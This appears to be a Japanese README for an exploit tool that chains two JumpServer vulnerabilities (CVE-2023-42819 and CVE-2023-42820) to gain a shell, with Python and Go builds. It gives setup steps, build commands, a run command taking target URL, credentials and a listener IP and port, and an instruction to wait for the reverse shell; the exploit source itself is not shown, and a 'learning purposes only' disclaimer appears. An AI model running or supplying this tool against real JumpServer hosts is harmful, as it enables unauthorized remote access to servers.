
CVE-2023-42819
CVE-2023-42819
JumpServer 任意ファイル書き込み脆弱性
CVE-2023-42819 + CVE-2023-42820 = GetShell
スクリプトと必要なファイルを同じディレクトリに配置します
Google Chrome がインストールされていることを確認し、Google Chrome のバージョン番号を取得します
reg query "HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon" /v version
Google Chrome のバージョン番号とシステムに対応した chromedriver をダウンロードした後、webdriver 内に配置します
最新バージョン:https://googlechromelabs.github.io/chrome-for-testing/
過去バージョン:https://chromedriver.chromium.org/downloads/version-selection
要求が多くて : (
対応する IP と Port をリッスンし、リバースシェルを待ちます
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ █████╗ ██╗ █████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ██║ ██║╚════██╗██╔══██╗███║██╔══██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██║███████╗╚█████╔╝ ██║ █████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝ ╚════╝ ╚═╝ ╚════╝
@Auth: C1ph3rX13
@Blog: https://c1ph3rx13.github.io
@Note: コードは学習目的のみに使用し、他の目的には使用しないでください
usage: CVE-2023-42819-Fin.py [-h] -t TARGET -u USERNAME -p PASSWORD --ip IP --port PORT [--proxy PROXY]
CVE-2023-42819 by C1ph3rX13.
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
ターゲットURL
-u USERNAME, --username USERNAME
アカウントユーザー名
-p PASSWORD, --password PASSWORD
アカウントパスワード
--ip IP シェルIP
--port PORT シェルポート
--proxy PROXY プロキシ(http://ip:port)


go mod init CVE-2023-42819
go mod tidy
go build -ldflags="-s -w" -trimpath
.\CVE-2023-42819.exe -t http://IP:Port -u username -p password -ip IP -port Port -proxy proxyUrl
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ █████╗ ██╗ █████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ██║ ██║╚════██╗██╔══██╗███║██╔══██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██║███████╗╚█████╔╝ ██║ █████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝ ╚════╝ ╚═╝ ╚════╝
@Auth: C1ph3rX13
@Blog: https://c1ph3rx13.github.io
@Note: コードは学習目的のみに使用し、他の目的には使用しないでください
Usage of CVE-2023-42819.exe:
-ip string
シェルIP
-p string
アカウントパスワード
-port string
シェルポート
-proxy string
プロキシURL
-t string
ターゲットURL
-u string
アカウントユーザー名

http, https, socks プロキシの追加